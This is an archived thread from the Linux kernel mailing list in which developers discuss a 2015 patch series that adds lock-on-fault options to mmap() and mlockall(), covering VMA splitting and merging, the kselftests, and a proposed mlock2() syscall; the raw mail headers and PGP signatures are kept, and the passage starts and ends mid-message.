It's pretty obvious, but the manpage delta should make this clear also.


Also the changelog(s) and manpage delta should explain that munlock()
clears MCL_ONFAULT.

And now I'm wondering what happens if userspace does
mmap(MAP_LOCKONFAULT) and later does munlock() on just part of that
region.  Does the vma get split?  Is this tested?  Should also be in
the changelogs and manpage.

Ditto mlockall(MCL_ONFAULT) followed by munlock().  I'm not sure that
even makes sense but the behaviour should be understood and tested.


What's missing here is a syscall to set VM_LOCKONFAULT on an arbitrary
range of memory - mlock() for lock-on-fault.  It's a shame that mlock()
didn't take a `mode' argument.  Perhaps we should add such a syscall -
that would make the mmap flag unneeded but I suppose it should be kept
for symmetry.



From - Thu Nov 08 21:37:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH V2 0/3] Allow user to request memory to be locked
 on page fault
Date: Thu, 11 Jun 2015 15:21:30 -0400
Lines: 112
Approved: news@gmane.org
Message-ID: <5579DFBA.80809@akamai.com>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com> <20150610145929.b22be8647887ea7091b09ae1@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1434050511 30032 80.91.229.3 (11 Jun 2015 19:21:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Jun 2015 19:21:51 +0000 (UTC)
Cc: Shuah Khan <shuahkh@osg.samsung.com>, Michal Hocko <mhocko@suse.cz>, 
 Michael Kerrisk <mtk.manpages@gmail.com>,
 linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org, 
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org, 
 linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org, 
 linux-xtensa@linux-xtensa.org, linux-mm@kvack.org, 
 linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Thu Jun 11 21:21:38 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Z382g-0001qn-4m
	for glkm-linux-mm-2@m.gmane.org; Thu, 11 Jun 2015 21:21:34 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id EAE516B0032; Thu, 11 Jun 2015 15:21:32 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id E601D6B0038; Thu, 11 Jun 2015 15:21:32 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id DA77B6B006C; Thu, 11 Jun 2015 15:21:32 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qg0-f46.google.com (mail-qg0-f46.google.com [209.85.192.46])
	by kanga.kvack.org (Postfix) with ESMTP id B4BCD6B0032
	for <linux-mm@kvack.org>; Thu, 11 Jun 2015 15:21:32 -0400 (EDT)
Original-Received: by qgg3 with SMTP id 3so4939134qgg.2
        for <linux-mm@kvack.org>; Thu, 11 Jun 2015 12:21:32 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:message-id
         :date:from:user-agent:mime-version:to:cc:subject:references
         :in-reply-to:content-type:content-transfer-encoding;
        bh=wSF6ezdj2yyLzceF6tvTbChsn2j0phuOVWo2bYq8h18=;
        b=nFL8u96Ja7o2Hurw5/Z67elxk8UJB82KTJr/wyvJSJEaSKSvcQ9nLSYqnhe022WysT
         SwjYkdYMfFKt2cwFAAXmxYwK0ssch90Ba8KgcrYwkGhdoi/5lDUs+7vnHa+zUa3Q3gBP
         I7svnew5fGpw4uLmFWdEst9QpdwbLwgmNhg39iJD7YPyK8HBdRZsgN4d9EqjBrPEDe21
         trYxJEInkHCwLh4rT1dB3c9aCJsvunYS+zXCA3jHhVSRq0KakPeW+EEImV5Q4pp0kVMQ
         nrs2pl7yEbza5dd1cZdEXEBxD3P4gchnYcLrPT6SwlHEhbjm/e96sZh5mIsmrvsPTsnQ
         c4uA==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
X-Gm-Message-State: ALoCoQniyWjlKsdG1V99k3YwSI9DWcxkUIuvGltrmz4+qr2xM9luL0R0gOtIizmcfsPw44WssLjAsyrpTG7NDa3PjizkRiUFPgi0GJSbTMQCdIQ40s+Bj2Vd5+JZzJBfUQeCzZXrTegK+ACPTCkUqR7QGPqnV/NEnRgbygFV1zBN6Ly5NQMXrr+HrunfGzziFMoo39hptNFC
X-Received: by 10.55.33.24 with SMTP id h24mr22459661qkh.95.1434050492479;
        Thu, 11 Jun 2015 12:21:32 -0700 (PDT)
X-Received: by 10.55.33.24 with SMTP id h24mr22459567qkh.95.1434050491936;
        Thu, 11 Jun 2015 12:21:31 -0700 (PDT)
Original-Received: from prod-mail-xrelay02.akamai.com (prod-mail-xrelay02.akamai.com. [72.246.2.14])
        by mx.google.com with ESMTP id o10si1537337qge.57.2015.06.11.12.21.31
        for <linux-mm@kvack.org>;
        Thu, 11 Jun 2015 12:21:31 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) client-ip=72.246.2.14;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 0E1522879E;
	Thu, 11 Jun 2015 19:21:31 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id E065A28616;
	Thu, 11 Jun 2015 19:21:30 +0000 (GMT)
Original-Received: from [172.28.12.164] (bos-lp6ds.kendall.corp.akamai.com [172.28.12.164])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id DA08B8008D;
	Thu, 11 Jun 2015 19:21:30 +0000 (GMT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.6.0
In-Reply-To: <20150610145929.b22be8647887ea7091b09ae1@linux-foundation.org>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:134195 gmane.linux.ports.alpha:3127 gmane.linux.kernel:1974829 gmane.linux.ports.mips.general:49081 gmane.linux.ports.parisc:25765 gmane.linux.ports.ppc64.devel:114260 gmane.linux.ports.sparc:21132 gmane.linux.kernel.cross-arch:28073 gmane.linux.kernel.api:12029
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/134195>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 06/10/2015 05:59 PM, Andrew Morton wrote:
> On Wed, 10 Jun 2015 09:26:47 -0400 Eric B Munson
> <emunson@akamai.com> wrote:
>=20
>> mlock() allows a user to control page out of program memory, but
>> this comes at the cost of faulting in the entire mapping when it
>> is
>=20
> s/mapping/locked area/

Done.

>=20
>> allocated.  For large mappings where the entire area is not
>> necessary this is not ideal.
>>=20
>> This series introduces new flags for mmap() and mlockall() that
>> allow a user to specify that the covered are should not be paged
>> out, but only after the memory has been used the first time.
>=20
> The comparison with MCL_FUTURE is hiding over in the 2/3 changelog.
>  It's important so let's copy it here.
>=20
> : MCL_ONFAULT is preferrable to MCL_FUTURE for the use cases
> enumerated : in the previous patch becuase MCL_FUTURE will behave
> as if each mapping : was made with MAP_LOCKED, causing the entire
> mapping to be faulted in : when new space is allocated or mapped.
> MCL_ONFAULT allows the user to : delay the fault in cost of any
> given page until it is actually needed, : but then guarantees that
> that page will always be resident.

Done

>=20
> I *think* it all looks OK.  I'd like someone else to go over it
> also if poss.
>=20
>=20
> I guess the 2/3 changelog should have something like
>=20
> : munlockall() will clear MCL_ONFAULT on all vma's in the process's
> VM.

Done

>=20
> It's pretty obvious, but the manpage delta should make this clear
> also.

Done

>=20
>=20
> Also the changelog(s) and manpage delta should explain that
> munlock() clears MCL_ONFAULT.

Done

>=20
> And now I'm wondering what happens if userspace does=20
> mmap(MAP_LOCKONFAULT) and later does munlock() on just part of
> that region.  Does the vma get split?  Is this tested?  Should also
> be in the changelogs and manpage.
>=20
> Ditto mlockall(MCL_ONFAULT) followed by munlock().  I'm not sure
> that even makes sense but the behaviour should be understood and
> tested.

I have extended the kselftest for lock-on-fault to try both of these
scenarios and they work as expected.  The VMA is split and the VM
flags are set appropriately for the resulting VMAs.

>=20
>=20
> What's missing here is a syscall to set VM_LOCKONFAULT on an
> arbitrary range of memory - mlock() for lock-on-fault.  It's a
> shame that mlock() didn't take a `mode' argument.  Perhaps we
> should add such a syscall - that would make the mmap flag unneeded
> but I suppose it should be kept for symmetry.

Do you want such a system call as part of this set?  I would need some
time to make sure I had thought through all the possible corners one
could get into with such a call, so it would delay a V3 quite a bit.
Otherwise I can send a V3 out immediately.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVed+3AAoJELbVsDOpoOa9eHwP+gO8QmNdUKN55wiTLxXdFTRo
TTm62MJ3Yk45+JJ+8xI1POMSUVEBAX7pxnL8TpNPmwp+UF6IQT/hAnnEFNud8/aQ
5bAxU9a5fRO6Q5533woaVpYfXZXwXAla+37MGQziL7O0VEi2aQ9abX7AKnkjmXwq
e1Fc3vutAycNCzSxg42GwZxqHw83TYztyv3C4Cc7lShbCezABYvaDvXcUZkGwhjG
KJxSPYS2E0nv0MEy995P0L0H1A/KHq6mCOFFKQw6aVbPDs8J/0RhvQIlp/BBCPMV
TqDVxMBpTpdWs6reJnUZpouKBTA11KTvUA2HBVn5B14u2V7Np+NBpLKH2DUqAP2v
Gyg4Nj0MknqB1rutaBjHjI0ZefrWK5o+zWAVKZs+wtq9WkmCvTYWp505XnlJO+qo
1CEnab2kX8P74UYcsJUrJxAtxc94t6oLh305KnJheQUdcx/ZNKboB2vl1+np10jj
oZLmP2RfajZoPojPZ/bI6mj9Ffqf/Ptau+kLQ56G1IuVmQRi4ZgQ9D1+BILXyKHi
uycKovcHVffiQ+z1Ama2b4wP1t5yjNdxBH0oV1KMeScCxfyYHPFuDBe36Krjo8FO
dDMyibNIRJMX6SeYNIRni40Eafon5h21I95/yWxUaq0FGBZ1NuuSTofxAA53wJJz
f0FUI7f53Oxk9EKk8nfg
=3DgfVJ
-----END PGP SIGNATURE-----

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=3Dmailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH V2 0/3] Allow user to request memory to be locked
 on page fault
Date: Thu, 11 Jun 2015 12:34:24 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <20150611123424.4bb07cffd0e5bb146cc92231@linux-foundation.org>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
	<20150610145929.b22be8647887ea7091b09ae1@linux-foundation.org>
	<5579DFBA.80809@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1434051277 12758 80.91.229.3 (11 Jun 2015 19:34:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Jun 2015 19:34:37 +0000 (UTC)
Cc: Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Jun 11 21:34:36 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Z38FC-0000zB-Me
	for glka-linux-arch@plane.gmane.org; Thu, 11 Jun 2015 21:34:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754756AbbFKTe2 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 11 Jun 2015 15:34:28 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:52860 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752293AbbFKTe0 (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 11 Jun 2015 15:34:26 -0400
Original-Received: from akpm3.mtv.corp.google.com (unknown [216.239.45.65])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 45974ABF;
	Thu, 11 Jun 2015 19:34:25 +0000 (UTC)
In-Reply-To: <5579DFBA.80809@akamai.com>
X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:28074 gmane.linux.ports.alpha:3128 gmane.linux.kernel:1974832 gmane.linux.ports.mips.general:49082 gmane.linux.ports.parisc:25766 gmane.linux.ports.ppc64.devel:114261 gmane.linux.ports.sparc:21133 gmane.linux.kernel.mm:134196 gmane.linux.kernel.api:12030
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/28074>

On Thu, 11 Jun 2015 15:21:30 -0400 Eric B Munson <emunson@akamai.com> wrote:

> > Ditto mlockall(MCL_ONFAULT) followed by munlock().  I'm not sure
> > that even makes sense but the behaviour should be understood and
> > tested.
>
> I have extended the kselftest for lock-on-fault to try both of these
> scenarios and they work as expected.  The VMA is split and the VM
> flags are set appropriately for the resulting VMAs.

munlock() should do vma merging as well.  I *think* we implemented
that.  More tests for you to add ;)

How are you testing the vma merging and splitting, btw?  Parsing
the profcs files?

> > What's missing here is a syscall to set VM_LOCKONFAULT on an
> > arbitrary range of memory - mlock() for lock-on-fault.  It's a
> > shame that mlock() didn't take a `mode' argument.  Perhaps we
> > should add such a syscall - that would make the mmap flag unneeded
> > but I suppose it should be kept for symmetry.
> 
> Do you want such a system call as part of this set?  I would need some
> time to make sure I had thought through all the possible corners one
> could get into with such a call, so it would delay a V3 quite a bit.
> Otherwise I can send a V3 out immediately.

I think the way to look at this is to pretend that mm/mlock.c doesn't
exist and ask "how should we design these features".

And that would be:

- mmap() takes a `flags' argument: MAP_LOCKED|MAP_LOCKONFAULT.

- mlock() takes a `flags' argument.  Presently that's
  MLOCK_LOCKED|MLOCK_LOCKONFAULT.

- munlock() takes a `flags' arument.  MLOCK_LOCKED|MLOCK_LOCKONFAULT
  to specify which flags are being cleared.

- mlockall() and munlockall() ditto.


IOW, LOCKED and LOCKEDONFAULT are treated identically and independently.

Now, that's how we would have designed all this on day one.  And I
think we can do this now, by adding new mlock2() and munlock2()
syscalls.  And we may as well deprecate the old mlock() and munlock(),
not that this matters much.

*should* we do this?  I'm thinking "yes" - it's all pretty simple
boilerplate and wrappers and such, and it gets the interface correct,
and extensible.

What do others think?

From - Thu Nov 08 21:37:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH V2 0/3] Allow user to request memory to be locked
 on page fault
Date: Thu, 11 Jun 2015 15:55:47 -0400
Lines: 97
Approved: news@gmane.org
Message-ID: <5579E7C3.2020601@akamai.com>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>	<20150610145929.b22be8647887ea7091b09ae1@linux-foundation.org>	<5579DFBA.80809@akamai.com> <20150611123424.4bb07cffd0e5bb146cc92231@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1434052560 4586 80.91.229.3 (11 Jun 2015 19:56:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Jun 2015 19:56:00 +0000 (UTC)
Cc: Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 11 21:55:58 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Z38Zy-0004UQ-21
	for glpp-linux-parisc@plane.gmane.org; Thu, 11 Jun 2015 21:55:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754800AbbFKTz5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Jun 2015 15:55:57 -0400
Original-Received: from prod-mail-xrelay07.akamai.com ([72.246.2.115]:23538 "EHLO
	prod-mail-xrelay07.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753370AbbFKTz4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Jun 2015 15:55:56 -0400
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 14340487AF;
	Thu, 11 Jun 2015 19:55:48 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id F261B4873B;
	Thu, 11 Jun 2015 19:55:47 +0000 (GMT)
Original-Received: from [172.28.12.164] (bos-lp6ds.kendall.corp.akamai.com [172.28.12.164])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id E6FA8203B;
	Thu, 11 Jun 2015 19:55:47 +0000 (GMT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.6.0
In-Reply-To: <20150611123424.4bb07cffd0e5bb146cc92231@linux-foundation.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25767 gmane.linux.ports.alpha:3129 gmane.linux.kernel:1974841 gmane.linux.ports.mips.general:49083 gmane.linux.ports.ppc64.devel:114262 gmane.linux.ports.sparc:21134 gmane.linux.kernel.mm:134197 gmane.linux.kernel.cross-arch:28075 gmane.linux.kernel.api:12031
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25767>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 06/11/2015 03:34 PM, Andrew Morton wrote:
> On Thu, 11 Jun 2015 15:21:30 -0400 Eric B Munson
> <emunson@akamai.com> wrote:
> 
>>> Ditto mlockall(MCL_ONFAULT) followed by munlock().  I'm not
>>> sure that even makes sense but the behaviour should be
>>> understood and tested.
>> 
>> I have extended the kselftest for lock-on-fault to try both of
>> these scenarios and they work as expected.  The VMA is split and
>> the VM flags are set appropriately for the resulting VMAs.
> 
> munlock() should do vma merging as well.  I *think* we implemented 
> that.  More tests for you to add ;)

I will add a test for this as well.  But the code is in place to merge
VMAs IIRC.

> 
> How are you testing the vma merging and splitting, btw?  Parsing 
> the profcs files?

To show the VMA split happened, I dropped a printk in mlock_fixup()
and the user space test simply checks that unlocked pages are not
marked as unevictable.  The test does not parse maps or smaps for
actual VMA layout.  Given that we want to check the merging of VMAs as
well I will add this.

> 
>>> What's missing here is a syscall to set VM_LOCKONFAULT on an 
>>> arbitrary range of memory - mlock() for lock-on-fault.  It's a 
>>> shame that mlock() didn't take a `mode' argument.  Perhaps we 
>>> should add such a syscall - that would make the mmap flag
>>> unneeded but I suppose it should be kept for symmetry.
>> 
>> Do you want such a system call as part of this set?  I would need
>> some time to make sure I had thought through all the possible
>> corners one could get into with such a call, so it would delay a
>> V3 quite a bit. Otherwise I can send a V3 out immediately.
> 
> I think the way to look at this is to pretend that mm/mlock.c
> doesn't exist and ask "how should we design these features".
> 
> And that would be:
> 
> - mmap() takes a `flags' argument: MAP_LOCKED|MAP_LOCKONFAULT.
> 
> - mlock() takes a `flags' argument.  Presently that's 
> MLOCK_LOCKED|MLOCK_LOCKONFAULT.
> 
> - munlock() takes a `flags' arument.
> MLOCK_LOCKED|MLOCK_LOCKONFAULT to specify which flags are being
> cleared.
> 
> - mlockall() and munlockall() ditto.
> 
> 
> IOW, LOCKED and LOCKEDONFAULT are treated identically and
> independently.
> 
> Now, that's how we would have designed all this on day one.  And I 
> think we can do this now, by adding new mlock2() and munlock2() 
> syscalls.  And we may as well deprecate the old mlock() and
> munlock(), not that this matters much.
> 
> *should* we do this?  I'm thinking "yes" - it's all pretty simple 
> boilerplate and wrappers and such, and it gets the interface
> correct, and extensible.
> 
> What do others think?
> 

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVeefAAAoJELbVsDOpoOa9930P/j32OhsgPdxt8pmlYddpHBJg
PJ4EOYZLoNJ0bWAoePRAQvb9Rd0UumXukkQKVdFCFW72QfMPkjqyMWWOA5BZ6dYl
q3h3FTzcnAtVHG7bqFheV+Ie9ZX0dplTmuGlqTZzEIVePry9VXzqp9BADbWn3bVR
ucq1CFikyEB2yu8pMtykJmEaz4CO7fzCHz6oB7RNX5oHElWmi9AieuUr5eAw6enQ
6ofuNy/N3rTCwcjeRfdL7Xhs6vn62u4nw1Jey6l9hBQUx/ujMktKcn4VwkDXIYCi
+h7lfXWruqOuC+lspBRJO7OL2e6nRdedpDWJypeUGcKXokxB2FEB25Yu31K9sk/8
jDfaKNqmcfgOseLHb+DjJqG6nq9lsUhozg8C17SJpT8qFwQ8q7iJe+1GhUF1EBsL
+DpqLU56geBY6fyIfurOfp/4Hsx2u1KzezkEnMYT/8LkbGwqbq7Zj4rquLMSHCUt
uG5j0MuhmP8/Fuf8OMsIHHUMjBHRjH4rTyaCKxNj3T8uSuLfcnIqEZiJu2qaSA8l
PxpQ6yy2szw9lDxPvxLnh8Rkx+SGEc1ciamyppDTI4LQRiCjMQ7bHAKo0RwAaPJL
ZSHrdlDnUHrYTnd0EZwg0peh8AgkROgxna/pLpfQTeW1g3erqPfbI0Ab8N0cu5j0
8+qA5C+DeSjaMAoMskTG
=82B8
-----END PGP SIGNATURE-----
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH V2 0/3] Allow user to request memory to be locked
 on page fault
Date: Fri, 12 Jun 2015 14:05:16 +0200
Lines: 88
Approved: news@gmane.org
Message-ID: <557ACAFC.90608@suse.cz>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>	<20150610145929.b22be8647887ea7091b09ae1@linux-foundation.org>	<5579DFBA.80809@akamai.com> <20150611123424.4bb07cffd0e5bb146cc92231@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1434110737 23742 80.91.229.3 (12 Jun 2015 12:05:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Jun 2015 12:05:37 +0000 (UTC)
Cc: Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Eric B Munson <emunson@akamai.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Fri Jun 12 14:05:26 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1Z3Ni9-0003DL-Cx
	for lnx-linux-alpha@plane.gmane.org; Fri, 12 Jun 2015 14:05:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753704AbbFLMFX (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Fri, 12 Jun 2015 08:05:23 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:58850 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753343AbbFLMFW (ORCPT <rfc822;linux-alpha@vger.kernel.org>);
	Fri, 12 Jun 2015 08:05:22 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 72818AC69;
	Fri, 12 Jun 2015 12:05:18 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.7.0
In-Reply-To: <20150611123424.4bb07cffd0e5bb146cc92231@linux-foundation.org>
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3130 gmane.linux.kernel:1975422 gmane.linux.ports.mips.general:49087 gmane.linux.ports.parisc:25768 gmane.linux.ports.ppc64.devel:114291 gmane.linux.ports.sparc:21140 gmane.linux.kernel.mm:134261 gmane.linux.kernel.cross-arch:28079 gmane.linux.kernel.api:12066
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3130>

On 06/11/2015 09:34 PM, Andrew Morton wrote:
> On Thu, 11 Jun 2015 15:21:30 -0400 Eric B Munson <emunson@akamai.com> wrote:
>
>>> Ditto mlockall(MCL_ONFAULT) followed by munlock().  I'm not sure
